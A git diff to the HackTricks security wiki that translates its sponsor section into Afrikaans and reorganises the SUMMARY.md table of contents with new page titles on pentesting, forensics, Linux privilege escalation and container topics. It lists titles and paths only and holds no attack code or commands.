-### [Trickest](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)
-
-
+### [SerpApi](https://serpapi.com/)
-\
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.
+
-Get Access Today:
+**SerpApi** verskaf APIs vir Google en ander search engines, en lewer gestruktureerde SERP-data met funksies soos liggingbewuste resultate, Maps, Shopping en Knowledge Graph-resultate.[[4]](#references)
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+Vir meer inligting, besoek hul [**blog**](https://serpapi.com/blog/), probeer ’n voorbeeld in hul [**playground**](https://serpapi.com/playground), of [**skep ’n gratis rekening**](https://serpapi.com/users/sign_up).
---
-### [HACKENPROOF](https://bit.ly/3xrrDrL)
-
-
+### [8kSec Academy – In-Depth Mobile & AI Security Courses](https://academy.8ksec.io/)
-Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
+
-- **Hacking Insights:** Engage with content that delves into the thrill and challenges of hacking
-- **Real-Time Hack News:** Keep up-to-date with fast-paced hacking world through real-time news and insights
-- **Latest Announcements:** Stay informed with the newest bug bounties launching and crucial platform updates
+**8kSec Academy** bied self-paced mobile- en AI-security-kursusse aan. Sy katalogus dek mobile application auditing en reversing met tools soos Ghidra, Frida en LLDB, tesame met AI/LLM attack- en defense-labs.[[5]](#references)[[6]](#references)
-**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
+Blaai deur die [8kSec Academy-kursuskatalogus](https://academy.8ksec.io/).
---
-### [Pentest-Tools.com](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons) - The essential penetration testing toolkit
+### [NaxusAI – AI Powered Security Scanner](https://www.naxusai.com/)
-
+
-**Get a hacker's perspective on your web apps, network, and cloud**
+**Naxus** bemark ’n offensive-AI-platform wat code en infrastructure karteer, en dan static en dynamic agents gebruik om exploitable weaknesses met proof-of-concept-bewyse en remediation guidance te vind en te valideer.[[7]](#references)
-**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
-
-{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
+**Code security-wenk**: Verken Naxus vir code- en infrastructure-gefokusde vulnerability discovery.
---
-### [SerpApi](https://serpapi.com/)
+### [WebSec](https://websec.net/)
-
+
-**SerpApi** offers fast and easy real-time APIs to **access search engine results**. They scrape search engines, handle proxies, solve captchas, and parse all rich structured data for you.
+WebSec verskaf penetration testing, security subscriptions, staffing en vulnerability-assessment-dienste. Die webwerf sê dat dit internasionaal werk en offensive security, defensive security, asook governance-, risk- en compliance-werk dek.[[8]](#references)
-A subscription to one of SerpApi’s plans includes access to over 50 different APIs for scraping different search engines, including Google, Bing, Baidu, Yahoo, Yandex, and more.\
-Unlike other providers, **SerpApi doesn’t just scrape organic results**. SerpApi responses consistently include all ads, inline images and videos, knowledge graphs, and other elements and features present in the search results.
+Vir meer inligting, besoek hul [**webwerf**](https://websec.net/en/) of [**blog**](https://websec.net/blog/).
-Current SerpApi customers include **Apple, Shopify, and GrubHub**.\
-For more information check out their [**blog**](https://serpapi.com/blog/)**,** or try an example in their [**playground**](https://serpapi.com/playground)**.**\
-You can **create a free account** [**here**](https://serpapi.com/users/sign_up)**.**
+Benewens bogenoemde is WebSec ook ’n **toegewyde ondersteuner van HackTricks.**
---
-### 8kSec Academy – In-Depth Mobile Security Courses
+### [CyberHelmets](https://cyberhelmets.com/courses/?ref=hacktricks)
-
+
-Learn the technologies and skills required to perform vulnerability research, penetration testing, and reverse engineering to protect mobile applications and devices. **Master iOS and Android security** through our on-demand courses and **get certified**:
-{% embed url="https://academy.8ksec.io/" %}
+**Gebou vir die veld. Gebou rondom jou.**\
+[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) verskaf cybersecurity-training onder leiding van kundiges, met pasgemaakte inhoud en labs wat op werklike infrastructures gegrond is. Sy programme word volgens organisatoriese behoeftes aangepas en strek van assessment tot implementation.[[9]](#references) Vir navrae oor pasgemaakte training, kontak hulle [**hier**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks).
+
+**Wat hul training onderskei:**
+* Pasgemaakte inhoud en labs
+* Ondersteun deur topvlak-tools en platforms
+* Ontwerp en aangebied deur praktisyns
---
-### [WebSec](https://websec.nl/)
+### [Last Tower Solutions](https://www.lasttowersolutions.com/)
+
+
-
+Last Tower Solutions fokus op cybersecurity-consulting vir **Onderwys** en **FinTech**, insluitend cloud assessments, interne en eksterne penetration tests, vulnerability assessments en compliance-ondersteuning.[[10]](#references)
-[**WebSec**](https://websec.nl) is a professional cybersecurity company based in **Amsterdam** which helps **protecting** businesses **all over the world** against the latest cybersecurity threats by providing **offensive-security services** with a **modern** approach.
+Bly ingelig en op hoogte van die jongste ontwikkelingen in cybersecurity deur ons [**blog**](https://www.lasttowersolutions.com/blog) te besoek.
-WebSec is an **all-in-one security company** which means they do it all; Pentesting, **Security** Audits, Awareness Trainings, Phishing Campagnes, Code Review, Exploit Development, Security Experts Outsourcing and much more.
+---
-Another cool thing about WebSec is that unlike the industry average WebSec is **very confident in their skills**, to such an extent that they **guarantee the best quality results**, it states on their website "**If we can't hack it, You don't pay it!**". For more info take a look at their [**website**](https://websec.nl/en/) and [**blog**](https://websec.nl/blog/)!
+### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/)
-In addition to the above WebSec is also a **committed supporter of HackTricks.**
+
-{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
+K8Studio is ’n desktop Kubernetes IDE met CloudMaps-visualisering, multi-cluster-navigasie, RBAC, Helm, logs, YAML- en terminal views. Die vendor sê dit verbind deur kubeconfig sonder om agents te installeer en ondersteun macOS, Windows, Linux en air-gapped clusters.[[11]](#references)
-## License & Disclaimer
+---
-Check them in:
+## Lisensie en vrywaring
-{{#ref}}
-welcome/hacktricks-values-and-faq.md
-{{#endref}}
+Sien die HackTricks Values & FAQ-inskrywing in References hieronder.
-## Github Stats
+## Github-statistieke

-{{#include ./banners/hacktricks-training.md}}
+## References
+
+- [1] [STM Cyber](https://www.stmcyber.com/)
+- [2] [Intigriti](https://www.intigriti.com/)
+- [3] [AI Security Certification – Modern Security](https://www.modernsecurity.io/courses/ai-security-certification)
+- [4] [SerpApi](https://serpapi.com/)
+- [5] [8kSec Academy](https://academy.8ksec.io/)
+- [6] [Praktiese AI Security: Attacks, Defenses, and Applications](https://academy.8ksec.io/course/practical-ai-security)
+- [7] [Naxus](https://www.naxusai.com/)
+- [8] [WebSec](https://websec.net/)
+- [9] [Cyber Helmets](https://cyberhelmets.com/)
+- [10] [Last Tower Solutions](https://www.lasttowersolutions.com/)
+- [11] [K8Studio](https://k8studio.io/)
+- [12] [Intigriti HackTricks-verwysing](https://go.intigriti.com/hacktricks)
+- [13] [Modern Security](https://modernsecurity.io/)
+- [14] [WebSec-borgskapvideo](https://www.youtube.com/watch?v=Zq2JycGDCPM)
+- [15] [Cyber Helmets-kursusse](https://cyberhelmets.com/courses/?ref=hacktricks)
+- [16] [HackTricks Values & FAQ](welcome/hacktricks-values-and-faq.md)
+{{#include banners/hacktricks-training.md}}
diff --git a/src/SUMMARY.md b/src/SUMMARY.md
index 6e928441adf..1f2516b4232 100644
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@@ -9,7 +9,9 @@
# 🤩 Generic Methodologies & Resources
- [Pentesting Methodology](generic-methodologies-and-resources/pentesting-methodology.md)
+- [Fuzzing Methodology](generic-methodologies-and-resources/fuzzing.md)
- [External Recon Methodology](generic-methodologies-and-resources/external-recon-methodology/README.md)
+ - [Database Leaks](generic-methodologies-and-resources/external-recon-methodology/database-leaks.md)
- [Wide Source Code Search](generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md)
- [Github Dorks & Leaks](generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md)
- [Pentesting Network](generic-methodologies-and-resources/pentesting-network/README.md)
@@ -21,22 +23,33 @@
- [Network Protocols Explained (ESP)](generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md)
- [Nmap Summary (ESP)](generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md)
- [Pentesting IPv6](generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md)
+ - [Telecom Network Exploitation](generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md)
- [WebRTC DoS](generic-methodologies-and-resources/pentesting-network/webrtc-dos.md)
- [Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks](generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- [Spoofing SSDP and UPnP Devices with EvilSSDP](generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)
- [Pentesting Wifi](generic-methodologies-and-resources/pentesting-wifi/README.md)
+ - [Enable Nexmon Monitor And Injection On Android](generic-methodologies-and-resources/pentesting-wifi/enable-nexmon-monitor-and-injection-on-android.md)
- [Evil Twin EAP-TLS](generic-methodologies-and-resources/pentesting-wifi/evil-twin-eap-tls.md)
- [Phishing Methodology](generic-methodologies-and-resources/phishing-methodology/README.md)
+ - [Ai Agent Abuse Local Ai Cli Tools And Mcp](generic-methodologies-and-resources/phishing-methodology/ai-agent-abuse-local-ai-cli-tools-and-mcp.md)
+ - [Ai Agent Mode Phishing Abusing Hosted Agent Browsers](generic-methodologies-and-resources/phishing-methodology/ai-agent-mode-phishing-abusing-hosted-agent-browsers.md)
+ - [Clipboard Hijacking](generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md)
- [Clone a Website](generic-methodologies-and-resources/phishing-methodology/clone-a-website.md)
- [Detecting Phishing](generic-methodologies-and-resources/phishing-methodology/detecting-phising.md)
+ - [Discord Invite Hijacking](generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md)
+ - [Homograph Attacks](generic-methodologies-and-resources/phishing-methodology/homograph-attacks.md)
+ - [Mobile Phishing Malicious Apps](generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md)
- [Phishing Files & Documents](generic-methodologies-and-resources/phishing-methodology/phishing-documents.md)
- [Basic Forensic Methodology](generic-methodologies-and-resources/basic-forensic-methodology/README.md)
+ - [Adaptixc2 Config Extraction And Ttps](generic-methodologies-and-resources/basic-forensic-methodology/adaptixc2-config-extraction-and-ttps.md)
- [Baseline Monitoring](generic-methodologies-and-resources/basic-forensic-methodology/file-integrity-monitoring.md)
- [Anti-Forensic Techniques](generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md)
- [Docker Forensics](generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.md)
- [Image Acquisition & Mount](generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md)
+ - [Ios Backup Forensics](generic-methodologies-and-resources/basic-forensic-methodology/ios-backup-forensics.md)
- [Linux Forensics](generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md)
- [Malware Analysis](generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md)
+ - [Android Malware Post-Exploitation](generic-methodologies-and-resources/basic-forensic-methodology/android-malware-post-exploitation.md)
- [Memory dump analysis](generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md)
- [Volatility - CheatSheet](generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)
- [Partitions/File Systems/Carving](generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md)
@@ -51,29 +64,47 @@
- [Decompile compiled python binaries (exe, elf) - Retreive from .pyc](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
- [Browser Artifacts](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md)
- [Deofuscation vbs (cscript.exe)](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md)
+ - [Discord Cache Forensics](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/discord-cache-forensics.md)
- [Local Cloud Storage](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md)
+ - [Mach O Entitlements And Ipsw Indexing](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/mach-o-entitlements-and-ipsw-indexing.md)
- [Office file analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md)
- [PDF File analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md)
- [PNG tricks](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md)
+ - [Structural File Format Exploit Detection](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/structural-file-format-exploit-detection.md)
+ - [Svg Font Glyph Analysis And Web Drm Deobfuscation](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/svg-font-glyph-analysis-and-web-drm-deobfuscation.md)
- [Video and Audio file analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md)
- [ZIPs tricks](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md)
- [Windows Artifacts](generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md)
- [Interesting Windows Registry Keys](generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md)
- [Python Sandbox Escape & Pyscript](generic-methodologies-and-resources/python/README.md)
- [Bypass Python sandboxes](generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md)
+ - [Js2py Sandbox Escape Cve 2024 28397](generic-methodologies-and-resources/python/bypass-python-sandboxes/js2py-sandbox-escape-cve-2024-28397.md)
- [LOAD_NAME / LOAD_CONST opcode OOB Read](generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md)
+ - [Reportlab Xhtml2pdf Triple Brackets Expression Evaluation Rce Cve 2023 33733](generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md)
- [Class Pollution (Python's Prototype Pollution)](generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
+ - [Keras Model Deserialization Rce And Gadget Hunting](generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md)
- [Python Internal Read Gadgets](generic-methodologies-and-resources/python/python-internal-read-gadgets.md)
- [Pyscript](generic-methodologies-and-resources/python/pyscript.md)
- [venv](generic-methodologies-and-resources/python/venv.md)
- [Web Requests](generic-methodologies-and-resources/python/web-requests.md)
- [Bruteforce hash (few chars)](generic-methodologies-and-resources/python/bruteforce-hash-few-chars.md)
- [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
+- [Side Channel Attacks On Messaging Protocols](generic-methodologies-and-resources/side-channel-attacks-on-messaging-protocols.md)
- [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md)
+- [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md)
+ - [Defi/AMM Hook Precision](blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md)
+ - [Defi Amm Virtual Balance Cache Exploitation](blockchain/blockchain-and-crypto-currencies/defi-amm-virtual-balance-cache-exploitation.md)
+ - [Mutation Testing With Slither](blockchain/smart-contract-security/mutation-testing-with-slither.md)
+ - [Erc 4337 Smart Account Security Pitfalls](blockchain/blockchain-and-crypto-currencies/erc-4337-smart-account-security-pitfalls.md)
+ - [Value Centric Web3 Red Teaming](blockchain/blockchain-and-crypto-currencies/value-centric-web3-red-teaming.md)
+ - [Web3 Signing Workflow Compromise Safe Delegatecall Proxy Takeover](blockchain/blockchain-and-crypto-currencies/web3-signing-workflow-compromise-safe-delegatecall-proxy-takeover.md)
+- [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md)
# 🧙♂️ Generic Hacking
+- [Archive Extraction Path Traversal](generic-hacking/archive-extraction-path-traversal.md)
- [Brute Force - CheatSheet](generic-hacking/brute-force.md)
+- [Esim Javacard Exploitation](generic-hacking/esim-javacard-exploitation.md)
- [Exfiltration](generic-hacking/exfiltration.md)
- [Reverse Shells (Linux, Windows, MSFVenom)](generic-hacking/reverse-shells/README.md)
- [MSFVenom - CheatSheet](generic-hacking/reverse-shells/msfvenom.md)
@@ -86,58 +117,84 @@
# 🐧 Linux Hardening
-- [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md)
-- [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md)
- - [Arbitrary File Write to Root](linux-hardening/privilege-escalation/write-to-root.md)
- - [Cisco - vmanage](linux-hardening/privilege-escalation/cisco-vmanage.md)
- - [Containerd (ctr) Privilege Escalation](linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md)
- - [D-Bus Enumeration & Command Injection Privilege Escalation](linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md)
- - [Docker Security](linux-hardening/privilege-escalation/docker-security/README.md)
- - [Abusing Docker Socket for Privilege Escalation](linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md)
- - [AppArmor](linux-hardening/privilege-escalation/docker-security/apparmor.md)
- - [AuthZ& AuthN - Docker Access Authorization Plugin](linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md)
- - [CGroups](linux-hardening/privilege-escalation/docker-security/cgroups.md)
- - [Docker --privileged](linux-hardening/privilege-escalation/docker-security/docker-privileged.md)
- - [Docker Breakout / Privilege Escalation](linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md)
- - [release_agent exploit - Relative Paths to PIDs](linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md)
- - [Docker release_agent cgroups escape](linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md)
- - [Sensitive Mounts](linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md)
- - [Namespaces](linux-hardening/privilege-escalation/docker-security/namespaces/README.md)
- - [CGroup Namespace](linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md)
- - [IPC Namespace](linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md)
- - [PID Namespace](linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md)
- - [Mount Namespace](linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md)
- - [Network Namespace](linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md)
- - [Time Namespace](linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md)
- - [User Namespace](linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md)
- - [UTS Namespace](linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md)
- - [Seccomp](linux-hardening/privilege-escalation/docker-security/seccomp.md)
- - [Weaponizing Distroless](linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md)
- - [Escaping from Jails](linux-hardening/privilege-escalation/escaping-from-limited-bash.md)
- - [euid, ruid, suid](linux-hardening/privilege-escalation/euid-ruid-suid.md)
- - [Interesting Groups - Linux Privesc](linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md)
- - [lxd/lxc Group - Privilege escalation](linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md)
- - [Logstash](linux-hardening/privilege-escalation/logstash.md)
- - [ld.so privesc exploit example](linux-hardening/privilege-escalation/ld.so.conf-example.md)
- - [Linux Active Directory](linux-hardening/privilege-escalation/linux-active-directory.md)
- - [Linux Capabilities](linux-hardening/privilege-escalation/linux-capabilities.md)
- - [NFS no_root_squash/no_all_squash misconfiguration PE](linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md)
- - [Node inspector/CEF debug abuse](linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md)
- - [Payloads to execute](linux-hardening/privilege-escalation/payloads-to-execute.md)
- - [RunC Privilege Escalation](linux-hardening/privilege-escalation/runc-privilege-escalation.md)
- - [SELinux](linux-hardening/privilege-escalation/selinux.md)
- - [Socket Command Injection](linux-hardening/privilege-escalation/socket-command-injection.md)
- - [Splunk LPE and Persistence](linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md)
- - [SSH Forward Agent exploitation](linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md)
- - [Wildcards Spare tricks](linux-hardening/privilege-escalation/wildcards-spare-tricks.md)
-- [Useful Linux Commands](linux-hardening/useful-linux-commands.md)
-- [Bypass Linux Restrictions](linux-hardening/bypass-bash-restrictions/README.md)
- - [Bypass FS protections: read-only / no-exec / Distroless](linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md)
- - [DDexec / EverythingExec](linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/ddexec.md)
-- [Linux Environment Variables](linux-hardening/linux-environment-variables.md)
-- [Linux Post-Exploitation](linux-hardening/linux-post-exploitation/README.md)
- - [PAM - Pluggable Authentication Modules](linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)
-- [FreeIPA Pentesting](linux-hardening/freeipa-pentesting.md)
+- [Linux Basics]()
+ - [Linux Privilege Escalation](linux-hardening/linux-basics/linux-privilege-escalation/README.md)
+ - [Useful Linux Commands](linux-hardening/linux-basics/useful-linux-commands.md)
+ - [Linux Environment Variables](linux-hardening/linux-basics/linux-environment-variables.md)
+ - [Bypass Linux Restrictions](linux-hardening/linux-basics/bypass-linux-restrictions/README.md)
+ - [Bypass FS protections: read-only / no-exec / Distroless](linux-hardening/linux-basics/bypass-linux-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md)
+ - [DDexec / EverythingExec](linux-hardening/linux-basics/bypass-linux-restrictions/bypass-fs-protections-read-only-no-exec-distroless/ddexec.md)
+- [Main System Information]()
+ - [Kernel Modules and modprobe Abuse](linux-hardening/main-system-information/kernel-modules-and-modprobe.md)
+ - [Sudo Command Abuse](linux-hardening/main-system-information/sudo-command-abuse.md)
+ - [Filesystem, Inodes and Recovery](linux-hardening/main-system-information/filesystem-inodes-and-recovery.md)
+ - [Checklist - Linux Privilege Escalation](linux-hardening/main-system-information/linux-privilege-escalation-checklist.md)
+ - [Escaping from Jails](linux-hardening/main-system-information/escaping-from-limited-bash.md)
+ - [Kernel/LPE/CVE material]()
+ - [Vmware Tools Service Discovery Untrusted Search Path Cve 2025 41244](linux-hardening/main-system-information/kernel-lpe-cves/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md)
+ - [Copy Fail Af Alg Splice Page Cache Overwrite Cve 2026 31431](linux-hardening/main-system-information/kernel-lpe-cves/copy-fail-af_alg-splice-page-cache-overwrite-cve-2026-31431.md)
+ - [Posix Cpu Timers Toctou Cve 2025 38352](linux-hardening/main-system-information/kernel-lpe-cves/posix-cpu-timers-toctou-cve-2025-38352.md)
+ - [Linux Ptrace Exit Race Pidfd Getfd Fd Theft](linux-hardening/main-system-information/kernel-lpe-cves/linux-ptrace-exit-race-pidfd_getfd-fd-theft.md)
+- [User Information]()
+ - [euid, ruid, suid](linux-hardening/user-information/euid-ruid-suid.md)
+ - [Interesting Groups - Linux Privesc](linux-hardening/user-information/interesting-groups-linux-pe/README.md)
+ - [lxd/lxc Group - Privilege escalation](linux-hardening/user-information/interesting-groups-linux-pe/lxd-privilege-escalation.md)
+ - [SSH Forward Agent exploitation](linux-hardening/user-information/ssh-forward-agent-exploitation.md)
+ - [Linux Active Directory](linux-hardening/user-information/linux-active-directory.md)
+- [Interesting Files & Permissions]()
+ - [Arbitrary File Write to Root](linux-hardening/interesting-files-permissions/write-to-root.md)
+ - [Linux Capabilities](linux-hardening/interesting-files-permissions/linux-capabilities.md)
+ - [SUID Shared Library and Linker Abuse](linux-hardening/interesting-files-permissions/suid-shared-library-and-linker-abuse.md)
+ - [ld.so privesc exploit example](linux-hardening/interesting-files-permissions/ld.so.conf-example.md)
+ - [NFS no_root_squash/no_all_squash misconfiguration PE](linux-hardening/interesting-files-permissions/nfs-no_root_squash-misconfiguration-pe.md)
+ - [Wildcards Spare tricks](linux-hardening/interesting-files-permissions/wildcards-spare-tricks.md)
+ - [SELinux](linux-hardening/interesting-files-permissions/selinux.md)
+- [Network Information]()
+ - [Local Network and Socket Triage](linux-hardening/network-information/local-network-and-socket-triage.md)
+ - [Socket Command Injection](linux-hardening/network-information/socket-command-injection.md)
+ - [Cisco - vmanage](linux-hardening/network-information/cisco-vmanage.md)
+- [Software Information]()
+ - [PAM - Pluggable Authentication Modules](linux-hardening/software-information/pam-pluggable-authentication-modules.md)
+ - [FreeIPA Pentesting](linux-hardening/software-information/freeipa-pentesting.md)
+ - [Logstash](linux-hardening/software-information/logstash.md)
+ - [Splunk LPE and Persistence](linux-hardening/software-information/splunk-lpe-and-persistence.md)
+ - [Node inspector/CEF debug abuse](linux-hardening/software-information/electron-cef-chromium-debugger-abuse.md)
+ - [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/software-information/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md)
+- [Processes, Crontab, Systemd, D-Bus]()
+ - [D-Bus Enumeration & Command Injection Privilege Escalation](linux-hardening/processes-crontab-systemd-dbus/d-bus-enumeration-and-command-injection-privilege-escalation.md)
+ - [Payloads to execute](linux-hardening/processes-crontab-systemd-dbus/payloads-to-execute.md)
+- [Containers, Namespaces]()
+ - [Containerd (ctr) Privilege Escalation](linux-hardening/containers-namespaces/containerd-ctr-privilege-escalation.md)
+ - [RunC Privilege Escalation](linux-hardening/containers-namespaces/runc-privilege-escalation.md)
+ - [Container Security](linux-hardening/containers-namespaces/container-security/README.md)
+ - [Runtimes And Engines](linux-hardening/containers-namespaces/container-security/runtimes-and-engines.md)
+ - [Runtime API And Daemon Exposure](linux-hardening/containers-namespaces/container-security/runtime-api-and-daemon-exposure.md)
+ - [Authorization Plugins](linux-hardening/containers-namespaces/container-security/authorization-plugins.md)
+ - [Image Security And Secrets](linux-hardening/containers-namespaces/container-security/image-security-and-secrets.md)
+ - [Assessment And Hardening](linux-hardening/containers-namespaces/container-security/assessment-and-hardening.md)
+ - [Sensitive Host Mounts](linux-hardening/containers-namespaces/container-security/sensitive-host-mounts.md)
+ - [Privileged Containers](linux-hardening/containers-namespaces/container-security/privileged-containers.md)
+ - [Distroless](linux-hardening/containers-namespaces/container-security/distroless.md)
+ - [Protections](linux-hardening/containers-namespaces/container-security/protections/README.md)
+ - [AppArmor](linux-hardening/containers-namespaces/container-security/protections/apparmor.md)
+ - [Capabilities](linux-hardening/containers-namespaces/container-security/protections/capabilities.md)
+ - [CGroups](linux-hardening/containers-namespaces/container-security/protections/cgroups.md)
+ - [Masked Paths](linux-hardening/containers-namespaces/container-security/protections/masked-paths.md)
+ - [No New Privileges](linux-hardening/containers-namespaces/container-security/protections/no-new-privileges.md)
+ - [Read Only Paths](linux-hardening/containers-namespaces/container-security/protections/read-only-paths.md)
+ - [Seccomp](linux-hardening/containers-namespaces/container-security/protections/seccomp.md)
+ - [SELinux](linux-hardening/containers-namespaces/container-security/protections/selinux.md)
+ - [Namespaces](linux-hardening/containers-namespaces/container-security/protections/namespaces/README.md)
+ - [CGroup Namespace](linux-hardening/containers-namespaces/container-security/protections/namespaces/cgroup-namespace.md)
+ - [IPC Namespace](linux-hardening/containers-namespaces/container-security/protections/namespaces/ipc-namespace.md)
+ - [PID Namespace](linux-hardening/containers-namespaces/container-security/protections/namespaces/pid-namespace.md)
+ - [Mount Namespace](linux-hardening/containers-namespaces/container-security/protections/namespaces/mount-namespace.md)
+ - [Network Namespace](linux-hardening/containers-namespaces/container-security/protections/namespaces/network-namespace.md)
+ - [Time Namespace](linux-hardening/containers-namespaces/container-security/protections/namespaces/time-namespace.md)
+ - [User Namespace](linux-hardening/containers-namespaces/container-security/protections/namespaces/user-namespace.md)
+ - [UTS Namespace](linux-hardening/containers-namespaces/container-security/protections/namespaces/uts-namespace.md)
+- [Post-Exploitation]()
+ - [Linux Post-Exploitation](linux-hardening/post-exploitation/linux-post-exploitation/README.md)
# 🍏 MacOS Hardening
@@ -152,9 +209,10 @@
- [macOS GCD - Grand Central Dispatch](macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md)
- [macOS Kernel & System Extensions](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md)
- [macOS IOKit](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md)
- - [macOS Kernel Extensions & Debugging](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md)
+ - [macOS Kernel Extensions & Kernelcache](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md)
- [macOS Kernel Vulnerabilities](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-vulnerabilities.md)
- [macOS System Extensions](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md)
+ - [macOS NVRAM](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-nvram.md)
